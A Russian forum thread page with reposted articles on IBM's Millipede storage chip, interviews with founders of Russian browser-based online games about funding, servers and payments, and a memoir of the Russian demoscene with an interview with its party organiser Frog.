"Многоножка" представляет собой "чистую" цифровую технологию. Принцип ее работы можно сравнить с работой старых проигрывателей грампластинок, в которых считывающая вибрирующая игла скользила по борозде, несущей информацию, только у "многоножки" есть ряд кантилеверов, скользящих по поверхности хранения данных, на которой есть углубления, кодирующие 1 и 0. Таким образом, отклонения кантилеверов от равновесного положения переводятся в набор 0 и 1.

Благодаря нанотехнологиям чип изготовлен по 10-нанометровому техпроцессу, позволяющему размещать на органической пленке, которая выступает в качестве носителя информации, углубления диаметром 10 нанометров. Расстояние между углублениями составляет 100 нанометров, что позволило разместить на чипе довольно большую матрицу атомно-силовых кантилеверов. Наличие углубления соответствует логической "1", а его отсутствие - логическому "0". Кантилевер - это специальный атомно-силовой зонд (см. рис. 2), который "ощупывает" сканируемую поверхность, изменяя свое положение в пространстве в зависимости от того, встретит он на пути углубление или нет.

При чтении данных специальный привод кремниевого "стола", на котором размещена пленка с данными, перемещает ее в плоскости по заданным координатам X и Y. А привод мультиплексора позволяет управлять каждым кантилевером индивидуально, обеспечивая адресацию памяти. При этом матрица кантилеверов обеспечивает параллельное чтение/запись данных.

"Многоножка" будет иметь емкость 100 Гб при размерах обычных SD-карт. Минимальная емкость "Многоножки" составит 10 Гб.

Как говорит IBM, эта переломная технология завоюет рынок к 2007 году.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 21 2006, 14:06
Сообщение #39


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Проект NeverLands (www.neverlands.ru)



Несколько слов о создании игры. Как пришла идея? Кто принимал участие в непосредственной реализации?

В конце лета 2004-го года пришла идея создать игру, в которую интересно было бы играть, прежде всего нам самим. На то время у нас уже были кое-какие идеи, основанные на личном опыте. Мы на себе испытали все достоинства и недостатки онлайн-игр, поэтому имели достаточно четкий план создания своей. Как выяснилось, он был совершенно неверным. Все оказалось гораздо сложнее и прозаичнее, чем мы могли предполагать. Но отступать было уже поздно. Так появился домен neverlands, на котором не было ничего, кроме форума, где обосновалась небольшая группа энтузиастов, которые помогали, чем могли. Но основную работу делали всего три человека, только один из которых был программистом.

Каковы были первоначальные инвестиции в проект? Что является основными источники дохода сейчас?

Первоначальные инвестиции в проект были примерно в размере 20-ти долларов. Именно столько стоила аренда домена.

Затраты игроков на игру? Средние/максимальные?

Затраты игроков на игру определяются прежде всего самими игроками. Большинство из них не тратят ни копейки.

Как все технически устроено?

Проект можно разделить на 3 основных блока:

1. Чат (общение + множество функций для работы самой игры).

2. Системные программы, которые постоянно работают на сервере. Они отвечают за защиту от ботов, очистку системы, выдачу подарков на День рождения и многое другое.

3. Сама игра (верхний фрейм, весь игровой процесс обслуживается одним файлом с подключаемыми дополнительными модулями).

Сколько серверов обсуживает игру, каковы их характеристики?

В данный момент проект обслуживает 5 серверов. Машины все двухпроцессорные, памяти минимум по 2 GB, RAID массив SCSI.

Были ли попытки взлома и к чему они привели?

Попытки взлома были. К чему-либо существенному они не привели - небольшое время в роли администратора. Все взломы быстро устранялись. Система раньше была дырявая (серверная часть + инъекции в БД). Уже более полутора лет никаких подобных проблем не было.

Каковы планы на будущее и текущее положение дел?

На данном этапе у нас функционирует два города и огромная игровая местность. Именно местность, а не карта. По ней игроки могут свободно перемещаться, отбиваться от враждебно настроенных ботов, собирать различные травы, для последующего использования их в алхимии (на данном этапе существует около 50-ти рецептов и этот список постоянно растет). Введено около 1000 видов оружия, доспехов, игровых предметов. Готовятся шахты, в которых можно будет добывать игровые ресурсы. Почти закончена разработка замков и боев за отвоевание их у противников. Начата работа над игровой магией, насчитывающей более 200 заклинаний. Разрабатывается система школ, для расширения возможностей игровых персонажей. Готовится к изданию книга NeverLands.

Игра Wizards World (http://wiw.mail.ru) или по-русски - «Мир Волшебников».

Несколько слов о создании игры. Как пришла идея? Кто принимал участие в непосредственной реализации?

Первая версия Wizards World (или сокращенно - WiW) была задумана и открыта в далеком 2003-м году несколькими энтузиастами. В том числе программистами и фанатами онлайновых браузерных игрушек, которые тогда можно было сосчитать по пальцам одной руки. С тех пор много воды утекло — игра WiW была приобретена компанией "Веб Интерактив Ворлд", постоянно дополнялась и модернизировалась: менялся дизайн, значительно расширялся геймплей, подключались коммерческие услуги, появлялись новые игровые города, новые партнеры, новые сервисы...

Каковы были первоначальные инвестиции в проект? Что является основными источники дохода сейчас?

В 2003-2004 годах стоимость разработки и выхода на рынок несложной web-based онлайновой игры составляла несколько тысяч долларов. Сейчас «ставки» выхода на рынок значительно выросли. Вложения в разработку и развитие WiW суммарно за 2003-2004 годы составили около 100 тысяч долларов.

Основной источник дохода всех онлайновых игр - продажа игровых преимуществ. В WiW мы продавали и продаем рекламу в формате product placement, но пока, к сожалению, это единичные случаи (игровые предметы с символикой рекламодателя, спонсорские мероприятия, игровой город для компании "Мастерхост" и т.п. - wiw.ru/pp/). По прогнозам экспертов, в ближайшее время ситуация должна измениться — об этом больше говорят и пишут, даже начали появляться специализированные агентства.

Затраты игроков на игру? Средние/максимальные?

Очень разные: от 1 доллара (стоимость 1 SMS для того, чтобы получить бонусы или, например, покормить своих домашних животных) до 28 тысяч долларов зараз - когда пользователь покупает целый игровой город (http://wiw.ru/company/relis22.htm). Есть и средний класс, есть и экономный — как в обычной жизни.

Некоторые игроки платят только за дополнительное время (когда у них в Wizards World заканчиваются 30 бесплатных часов, отведенные на неделю каждому игроку) - 150 рублей за неделю неограниченного игрового времени, а некоторые стремятся вооружить своего персонажа по последней моде. Поскольку успешные российские онлайновые игры условно-бесплатные, то количество платящих игроков варьируется у различных проектов от 5 до 50%.

Система платежей. Каким образом Вы принимаете деньги от игроков? Существуют ли независимые организации (биржи, «барахолки»), которые делают деньги с помощью Вашей игры?

Пользователи WiW платят за услуги на основании публичного договора-оферты с компанией "Веб Интерактив Ворлд", каждый платеж - обязательно на основании счета, выставленного автоматической системой (биллингом). Это как в обычном интернет-магазине — понятно и прозрачно для покупателя.

Игрок может заплатить любым удобным для него способом: банковским переводом, банковской (пластиковой) картой Visa, MasterCard, American Express или JCB, различными электронными платежными системами (Яндекс-деньги, WebMoney, MoneyMail и др.), через международную систему Contact (в этой сети более 1000 банков-участников на территории России). Мы постоянно проводим мониторинг наиболее массовых систем платежей и подключаем наиболее удобные и популярные, например, скоро мы подключим возможность платежей через терминалы систем "Элекснет" и "ДельтаКей".

Как все технически устроено?

А все интернет-проекты устроены примерно одинаково. Это несколько серверов, на которых функционируют взаимосвязанные друг с другом распределенная игровая система, отдельные системы резервирования, авторизации, оповещения, отслеживания ботов и т.п.

Сколько серверов обсуживает игру, каковы их характеристики?

Проект Wizards World - высоконагруженный web-сервис (более 200 тысяч пользователей ежемесячно). Парк серверов - 5 штук. Обычно в качестве боевых серверов используются двухпроцессорные серверы с 8 Гб или большим количеством оперативной памяти: от сотни гигабайт дискового массива с зеркалированием и т.п.

Проект TimeZero (www.timezero.ru)

Несколько слов о создании игры. Как пришла идея? Кто принимал участие в непосредственной реализации?

Идея создания проекта возникла осенью 2003-го года. Нужна была игра, принципиально отличающаяся от существующих на рынке, онлайн-игра нового поколения. Хотелось сделать не обычный фэнтезийный проект с эльфами, а постатомный мир в духе Fallout, с десятками тысяч локаций, с мутантами и радиацией, с интересной боевой системой. И вот, с легкой руки Андрея Иванова (aka Karma), Алексея Владимирова (aka Merlin) и Бориса Герцовского (aka Bo Dun) игра начала обретать очертания. Бета-тест был запущен в мае 2004-го года, и в первый же день игру посетили около 6-ти тысяч человек. Несколько недель спустя, 28 июня, уже состоялся официальный релиз.

Каковы были первоначальные инвестиции в проект? Что является основными источники дохода сейчас?

Во время создания игры инвестиции были относительно невелики (150-200 тысяч долларов). Сейчас, чтобы создать проект такого уровня, потребуются затраты минимум в 2-3 раза выше. Вообще, проекты подобные нашему, вполне способны существовать на доходы от рекламы и product placement.

Затраты игроков на игру? Средние/максимальные?

Для 70-75% игроков затраты на игру ограничиваются стоимостью интернет-связи. Часть игроков, при желании, может потратить деньги на дополнительные сервисы — на установку аватара или покупку VIP-клиента с расширенными игровыми возможностями. Средние затраты одного игрока посчитать достаточно сложно, но они не превышают нескольких долларов.

Система платежей. Каким образом Вы принимаете деньги от игроков? Существуют ли независимые организации (биржи, «барахолки»), которые делают деньги с помощью Вашей игры?

Сама компания TimeZero не принимает деньги от игроков. Если говорить о черном рынке, то он существует, как и во многих других играх. Оборот незаконных сделок составляет не менее 4-5 тысяч долларов ежемесячно. Все это совершается либо в самой игре, либо через сайт Геймлот и ему подобные.

Сколько серверов обсуживает игру, каковы их характеристики?

Сейчас игру обслуживают 5 серверов, включая тестовый и резервный - 2x Dual Intel Xeon HT CPU 2.80GHz, 2x Dual core AMD Opteron 275 (2.2 GHz). На настоящий момент этих мощностей достаточно, и они нас полностью устраивают. В случае необходимости, конечно же, будем расширяться.

Были ли попытки взлома и к чему они привели?

Взломов не было, серьезных попыток – тоже. DoS-атаки случались, но в целом – ничего серьезного.

Каковы планы на будущее и текущее положение дел?

TimeZero занимает одну из лидирующих позиций в рейтинге mail.ru и обладает своей вполне сложившейся аудиторией. Сейчас в игре зарегистрировано примерно 150 000 персонажей. По нашим подсчетам количество активных игроков составляет около 60-70 тысяч человек. На сайте постоянно в онлайне находится в среднем 5 000 человек в день.

Геймплей TimeZero развивается достаточно активно. На настоящий момент в игре зарегистрировано больше 150 официальных кланов, существует 8 городов, которые управляются игроками, зарегистрированы десятки фан-сайтов, посвященных игре. География проекта достаточно обширна: Россия, СНГ, Израиль, Германия, Америка, даже из ЮАР есть игроки. Игра уже сейчас переведена на 3 языка: немецкий, английский и турецкий.

Проект Территория (www.territory.ru)

Несколько слов о создании игры. Как пришла идея? Кто принимал участие в непосредственной реализации?

Идея игры возникла более трех лет назад в головах трех геймеров. Именно тогда они вместе еще с целым рядом игроков были отлучены администрацией Бойцовского Клуба от любимой игрушки. Расстроенные игроки объединились и решили создать свою игру. Ну а дальше, как полагается, подсчитали финансы, собрали команду профессионалов — и работа закипела. Так и появилась Территория. Игра была разработана менее чем за один год. На самом деле, это рекордно короткий срок для игры такого масштаба, как Территория.

Система платежей. Каким образом Вы принимаете деньги от игроков? Существуют ли независимые организации (биржи, «барахолки»), которые делают деньги с помощью Вашей игры?

В игру интегрирована собственная система примема платежей - "Террабанк". Созданная нами система позволяет не только оплачивать дополнительные игровые возможности, но и выводить деньги из игры. Система вывода из игры реальных денег впервые была успешно опробована в "Территории". Через "Террабанк" игрок может получить на руки реальные деньги, заработанные виртуальным способом. Для этого достаточно просто играть в игру, зарабатывать игровую валюту и менять ее на реальные деньги. Некоторые игроки "Территории" сегодня зарабатывают от $50 в неделю. Кстати, пополнять игровой счет также можно посредством SMS-сообщений.

Затраты игроков на игру? Средние/максимальные?

Бизнес-модель игры - условно-бесплатная. Это значит, что любой желающий может играть в Территорию, не вкладывая ни копейки. За реальные деньги в игре можно купить эксклюзивные игровые вещи (арты) и дополнительные игровые возможности.

Каковы планы на будущее и текущее положение дел?

На настоящий момент в игре более 900 000 зарегистрированных пользователей. Ежедневно игру посещают около 20 000 уникальных пользователей. Территория продолжает расширяться и совершенствоваться. В игре регулярно появляются новые локации, расширяются границы виртуального города, проводятся акции с розыгрышами реальных призов. Политика игры меняется в направлении реализации творческого потенциала наших игроков. Игроки "Територии" могут сами создавать и совершенствовать любимую игру. У них есть возможность самим создавать сайты своих кланов, писать новости, модерировать чат игры и даже рисовать индивидуальные образы... Подобная политика вполне оправдывает себя. Создавая игровой мир своими руками, игроки ценят и оберегают свое творение от любых негативных влияний.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 21 2006, 19:54
Сообщение #40


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Сценерский лайфстайл: часть 1Воспоминания старичков Cцены

Я решил написать эту статью по двум причинам. Прежде всего потому, что все материалы, написанные о Сцене, рассказывали об этом явлении очень поверхностно. Второй причиной стала недавно опубликованная в ][ статья "Хакерский лайфстайл 90-х", которая натолкнула меня на мысль выяснить, насколько близки были по духу хак-сцена и демо-сцена. В любом случае, думаю, тебе будет интересно узнать, чем жили и занимались наши сценеры на протяжении последних 15-ти лет. Тем более что информацию ты получишь, что называется, из первых рук.

Полевой андеграунд

В те годы, когда андеграунд потихоньку начинал просачиваться в Россию с Запада, Сцена была единой. Люди брались за все: демо-мейкинг, варез, крэкинг, аски-арт, останавливаясь на том, что получалось у них лучше всего. В это время первыми русскими электронными журналами были "Хакер" (не путать с ][ акером) и его злейший противник e-zine "HARM". Они публиковали материалы о вирусомейкинге, техниках рисования многоэкранных ANSI и другие специализированные материалы. Это была Сцена во всем ее «многообразии».

Первыми сценерскими компьютерами были Cпектрум и Амига. Многие писишные сценеры начинали именно с этих платформ. Все, что попадало в Россию из софта, было уже взломано западными крэкерами, так что волей-неволей русские компьютерщики узнали о таком явлении, как демо-сцена. Игрушки сопровождались интрами крэктимов, названия которых внушали трепет. Основной поток сценерского стафа шел из Польши, оттуда же к нам явился так называемый scene spirit - сценерский дух.

До того момента, как сети стали доступными, релизы распространялись обычными людьми. В Питере местом, где можно было раздобыть свежачок, был культовый рынок "Автово" (ныне ЮНОНА). В других крупных городах были свои тусовочные точки. Варез приобретался там и распространялся дальше через проводников поездов дальнего следования. Торговые точки в «Автово» содержали рядовые сценеры, геймдевелоперы (такие как Softland Software, ViKs) и просто хорошие люди, которые торговали софтом по символическим ценам, едва превышающим стоимость дискеты. Из последних можно отметить фирму «Логрос», имевшую точки на Юноне и магазинчик на Петроградской стороне, в котором постоянно собирался творческий спектрумовский народ. Все хитовые релизы распространялись через них: сценеры приносили Логросу свои сокровища, а они делились с остальными. На самом раннем этапе возникновения рынка "Автово" народ собирался прямо на поле. Приходили, выкладывали на тряпочках всякие компьютерные запчасти, дрели, телевизоры и торговали, обмениваясь новостями, обсуждая, «как жить дальше». Милиция, естественно, их гоняла: в советское время перепродажа вещей считалась спекуляцией и наказывалась. Но искоренить это было невозможно.

В 1993-м году появились спектрумовские модемы – Vicomm. Ужасно примитивные, но для прогрессивных компьютерщиков это была революция. Самые свежие сценерские и игровые новинки можно было получить, не выходя из дома! Первой спектрумовской BBS была Eldorado, созданная для поддержки этого самого Vicomm. Потом уже стали появляться другие борды. Появление модемов сделало доступной сеть FIDO, в которой появились спектрумовские шлюзы. А еще позже получила рождение FTN-сеть ZX-Net.

Наскальные надписи

В это время HRg стала призывать в своем e-zine "HARM" не браться за все сразу и не смешивать разные "Сцены" в одну. Появились первые определения: арт-сцена, демо-сцена, хак-сцена и так далее. Хотя отдельные сообщества обосабливались и без hrg-шного совета: аски-художики перестали рисовать .nfo для пиратов и, сбившись в ascii-группы, выпускали арт-паки. Популяризация Интернета сделала ненужными борды, и народ, представляющий разные сценовые направления и ранее совместно тусовавшийся на элитных BBS, разбежался по специализированным веб-сайтам. Мастера хайреза и пикселя разделились на два лагеря: первые, рисовавшие в лучших традициях демо-сцены, остались преданными ей, а художников, тянувших на всякие эксперименты и новую технику рисования, вобрала в себя арт-сцена. Через несколько лет, побледневшая, затерявшаяся, в океане мирового креативного сообщества.

Что касается музыкальной тусовки, один из олдскульных сценовых музыкантов LAV, бывший в свое время членом HRg, а позже Sands, рассказал следующее: "Музыканты всегда были немного отделены от хакерской тусовки и состояли в ней только для того, чтобы просто где-нибудь "состоять", поэтому в дела и разборки хакеров они не лезли. Наиболее успешные музыканты обособились и создали отдельные творческие группы, самой известной из которых в середине 90-х стала The SandS. Ее членами были лучшие из лучших».

По-настоящему бурное развитие получила демо-сцена. В то время каждый считал себя обязанным написать свою, пусть даже самую примитивную демку, чтобы выразить друзьям свой респект или передать fuck-выражение. Какие кипели страсти в скролингах интр тех лет! Сценеры вели переписку посредством бегущих строк, спорили, ругались – это была уникальная система общения. Напишет, например, один мини-демку со строчкой типа: "Привет, я ZeroCold из города Махачкала, сделал вот такой суперэффект, смотрите! Greetings: Acid Burn, Nikon. Fuck to Plug из города Берюки! Всем BYE!!». А через несколько недель в другом конце страны выходит другая демка с текстом: «Hi, я Plug из Берюков, а это моя новая мегакрутая демка. Greetingz to: God, Sex, Love, FUCK TO ZeroCold из Махачкалы. Твой суперэффект - полный шит и мастдай, а сам ты нубище полное! Всем пока! ByeBye!". Такая переписка в интрах была важной частью субкультуры тех лет. Сейчас как-то не укладывается в голове, что можно 20 минут читать бегущую строчку, пусть даже оформленную красивым переливающимся шрифтом. Особенно интересно было, сидя в школьном ВЦ, читать, как человек из далекой Америки, Германии или Польши пишет что-то вроде: «Сейчас 03 ночи. Я доделываю свою музыку, а товарищ рядом дорисовывает лого. Передаю ему слово. Hi, это …". Очень живо представлялось, как за тысячи километров кто-то что-то тебе пишет, будто это происходило именно в момент прочтения. Сетей ведь тогда почти не было, а те, которые были, работали только с машинами под Unix'ом или на рабочих станциях. Там, кстати, были тоже свои традиции, хотя Сценой это не называлось. Text only mode накладывал отпечаток.


Многие демки делались в подарок - например, на день рождения другу-сценеру. Были и специальные «обсирающие» демки, а также информационные или рекламные, по типу популярных сейчас invitation – программы, прокручивающей определенный эффект и приглашающей принять участие в демо-пати».

Сценовые тусы

Демо-пати была одной из точек соприкосновения разных сцен. Их посещали как "хакеры", так и ascii-художники, демо-мейкеры и музыканты. Первой из проходивших в России пати стал Enlight, стартовавший в 1995-м году. Чтобы узнать, как все начиналось, я побеседовал с человеком, которого считают «отцом всех русских демо-пати». Зовут его Петр Соболев, в сценерских кругах более известен как Frog и CodeRipper. Интерьвю с ним читай на врезке.

Демо-пати реально собирали всех под одну крышу. Мы могли по году ругаться и общаться со своим закрытым сообществом аски-художников в фидошной эхе ru.pictures.psevdo.graf, не принимать никакого участия в делах демо-сцены, но тем не менее к демо-пати готовились, присылали работы для ascii-compo, и если могли, приезжали.

Пример из обычной сценовой жизни. 2000-й год. В Москве тогда должен был вот-вот состояться Mindresource, и свою работу я рисовал буквально в ночь перед событием, уверенный, что ради меня сделают исключение и примут. А для большей уверенности переслал ее не напряму, в оргкомитет пати, а своему согрупнику, москвичу E-Lex'y, который с утреца, за пару часов до компо, скопировав мою аскишку на дискету, прямо вручил ее упиравшимся организаторам. Сначала Лекса не пускали, но, заявив что-то в духе: "Я - элита, и тараканы мне не указ", он прорвался через ограждения, секьюрити и передал диск нужным людям. В итоге эта работа взяла первое место. Каково же было мое удивление, когда выяснилось, что Лекс отдал совсем не ту работу, которую я приготовил. Зная вкусы посетителей демо-пати, я нарисовал из ансишных кубиков обнаженную женскую грудь, а Лекс выставил трехмерную буковку «T», в типичном для стрит-арта написании, которую я нарисовал много раньше. Или вспомнить первый Chaos Constructions в 99-м году. Это сейчас CC проходит в чистеньком, цивильном ЛДМе, а тогда - в какой-то школе на окраине города, куда съезжались люди из разных городов. Казалось, что все знают друг друга, что ты попал в какое-то "тайное общество". То демо-пати никак нельзя было назвать фестивалем - скорее это был слет для непосвященного, имеющий какой-то ритуальный смысл.

Продолжение следует.

Интервью с CodeRipper'ом

Crasher: Я, наверное, не ошибусь, если скажу, что Enlight 95 стал поворотным событием на демо-сцен,, ведь ему удалось собрать людей из разных уголков стран СНГ, заявить о существовании сценовой субкультуры на более высоком уровне.

Frog: Возможно, но я бы не взялся это утверждать. Дело в том, что связующим звеном для людей, неравнодушных ко всяким специфическим компьютерным вещам, у нас выступал (и по-прежнему выступает) FidoNet. Уже тогда проводились сисопки, просто они были менее организованны, масштаб был поменьше. Первые два Enlight’а многие восприняли именно как сисопку, поскольку большинство сценеров были фидошниками и знали друг друга.

Crasher: Как пришла идея организовать глобальный слет сценеров?

Frog: Еще когда я сидел на Commodore 64 и читал всякие diskmag'и, там рассказывалось о зарубежных демо-пати. Мы знали про финскую Assembly, которая проводилась с 1992-го года, видели своими глазами Unreal, Second Reality, Panic, имели представление о легендарной группе Future Crew. Известный ныне Abyss - главный организатор Assembly - был тогда сисопом StarPort BBS. Это была официальная борда Future Crew. Мы туда звонили, что-то качали. Потом я переписывался с Gore (в то время - главный организатор и идейный вдохновитель Furure Crew). В 1995-м году уже настало время PC, появились сети, в России народ принялся активно писать интры и демы. Было понятно, что если мы организуем пати, люди выставят свои работы, приедут. Так и оказалось.

Crasher: После инлайта в разных уголках России появились другие демо-пати: Mindresouce, Millenium, Paradox, Bytefall, DiHalt, Cafe. Но именно питерские оказались самыми популярными и «живучими». Почему?

Frog: Большинство демо-пати, проходящих за пределами Москвы и Питера, при всем старании организаторов, не могли собрать большое количество сценеров. Одно дело приехать в Питер, другое – в Казань. К примеру, если на E'97 было порядка 1200 человек, то на упомянутых тобой - максимум 150-200. Правда, московкие тусы тоже не пользовались большой популярностью, и я до сих пор не понимаю, почему в Москве нет масштабной… да что масштабной, хотя бы регулярно проводимой демо-пати. Казалось бы, все условия есть: деньги через город текут рекой, есть коммуникации, много людей. Но чего-то не хватает. Целых два года нам понадобилось, чтобы мы расстались с иллюзиями о том, что сценеры сами могут поддерживать порядок в своих рядах, что будут себя прилично вести. Увы, это не сработало. ENLiGHT'97 стал для организаторов холодным душем: сотни человек, которые, если брать по отдельности, хорошие и интересные люди, собравшись вместе, вели себя так, что праздник закончился отменой второго дня и милицией. На 1200 посетителей у нас было около 5-ти человек, которые обеспечивали безопасность, причем добровольцев, а не профессионалов. Понятно, что хоть они и старались навести порядок, но мало что могли сделать. Народ с легкостью проносил в зал спиртное, и через некоторое время ситуация стала неуправляемой. Сейчас вспоминается один сценер, бегающий по party place в пневматической винтовкой. В общем, после ENLiGHT'97 мы сделали для себя серьезные вывод, и очередной слет, теперь уже названный Chaos Constructions, прошел только через 7 лет, в 2004-м году.

Crasher: В чем же заключается fun-посещения и участия в демо-пати?

Frog: Это трудно описать словами. Весь кайф состоит из отдельных моментов, причем у каждого они свои. Например, просмотр очевидных фаворитов конкурсов demo или intro. Когда ты смотришь на большом экране работу, которую ранее нигде не показывали, рядом с тобой на экран смотрят люди, которым интересно то же, что и тебе, реагируют на те же моменты, что и ты. Разговоры в фойе с людьми из других городов, а то и стран, которых не видел несколько лет или с которыми впервые познакомился в реале. Томительное ожидание результатов... Помню, на ENLIGHT'96 наш человек со списками результатов еле смог вырваться из толпы, рванувшей посмотреть, кто же победил smile.gif. Такое вот единение - это весьма необычное ощущение.

Crasher: Ты был на Сцене у самых ее истоков. Расскажи, как зарождалась Сцена в России?

Frog: Я застал еще полное отсутствие у нас всякой сцены. Amiga тогда только-только стала появляться - у нас ее счастливыми владельцами были только серьезные студии телевидения. У обычных людей были лишь Commodore 64, Atari XE/XL. На Коммодоре имелось некое подобие Сцены – думаю, на весь Союз человек 15-20 максимум. Переписывались с зарубежными группами обычно по почте. GhostRider, ныне отошедший от дел, получал 5" диски, расписанные фломастером: "IKARI TALENT", "FAIRLIGHT", "TRIAD", потом рассылал все это тем самым 15-ти знакомым. В начале, между сценерами не было никакой разницы. Конечно, кто-то занимался больше варезом, кто-то больше кодил, но в целом крутились в «одном соку», и все были «свои люди».

Что касается модемов, то на Commodore 64 они были на 160 и 300 бод, внешние. Но у нас они являлись диковинкой и на практике не использовались. Лично мой первый модем (для PC) был акустическим - такая штуковина с резиновыми накладками. На нее клалась телефонная трубка, и они там свистели между собой. Правда, он почти не работал из-за какой-то странной системы команд. Первый работающий модем у меня был на 1200 бод, внутренний, без MNP. Представлял собой длиннющую плату ISA 8bit (PC XT). С ним я довольно долго ползал по BBS, качал почту. Под конец он стал дохнуть, и приходилось во время работы ставить рядом бытовой вентилятор. Потом уже появились 2400, 9600. Сейчас забавно вспоминать, что было время, когда модем на 9600 был чуть ли не единственным в городе, и на него ходили смотреть, как на чудо техники (в Кронверк, кажется).

Crasher: Ты видел весь процесс развития, какие вещи были характерны для ранней Сцены и утеряны сейчас?

Frog: Одной из характерных вещей того времени были так называемые "noters". Скажем, группа зарелизила дему или диск с варезом. Запускается программа-нотер и в ней пишется какой-нибудь приветственный текст тем, кто этот диск получит. Программы эти были разные, но суть была в том, что текст можно набивать красивым шрифтом, с имитацией перемещения курсора - как на печатной машинке. Можно делать летающие логотипы, вставлять музыку - все это либо рисовали сами, либо выдергивали из игрушек и линковали к программе. После нажатия «Save» генерировалась программа, вмещающая все это в одном запускаемом файле. Человек получал диск, читал текст и мог написать ответ в этой же самой программе. Своего рода электронное письмо, но куда более близкое к настоящему письму - в нем чувствуется писавший его человек. Вот такая вот утраченная традиция! Другой интересной вещью было графическое оформления директорий. Это сейчас, когда набираешь "DIR" или смотришь в подкаталог, файлы там лежат отсортированные по какому-то признаку. А тогда ничего такого не было. На том же C64 ты вставляешь диск, даешь команду "Показать содержимое" и получаешь список файлов в определенной последовательности. Народ это быстро просек и рисовал псевдографикой разные рамки, картинки. Можно было при выводе директории даже очищать экран и менять цвет курсора специальными командами. Большую роль играли загрузчики. Дисководы были медленными, и, чтобы загрузить игру или программу, необходимо было ждать минуты. Поэтому писались загрузчики, которые параллельно с загрузкой рисовали картинку, играли музыку (музыка грузилась быстро, так как FM-синтез имеет небольшой размер). Позднее появились скоростные загрузчики - дисковод перепрограммировался, и одна из линий шины (кажется RESET) использовалась как второй бит в последовательном интерфейсе. Дисководы от этих скоростных загрузчиков издавали жуткие звуки, головка частенько сбивалась так, что его приходилось ремонтировать уже физические.

Crasher: Скоро пройдет Сhaos Constructions 2006. Что нам стоит ожидать?

Frog: Время проведения - с 26 по 27 августа. Ожидается ряд очень серьезных новшеств. Мы попытаемся сделать наш фестиваль менее формальным, для чего, к примеру, людям со своим компьютером будет обеспечен бесплатный вход, стол, розетка, Интернет. Все детали можно найти на сайте http://cc6.org.ru.




--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение

5 страниц V < 1 2 3 4 > » 
ОтветитьСоздать новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 

- Текстовая версия Сейчас: 7th March 2021 - 21:19
 
     
Rambler's Top100 службы мониторинга серверов
Gentoo Powered Lighttpd Powered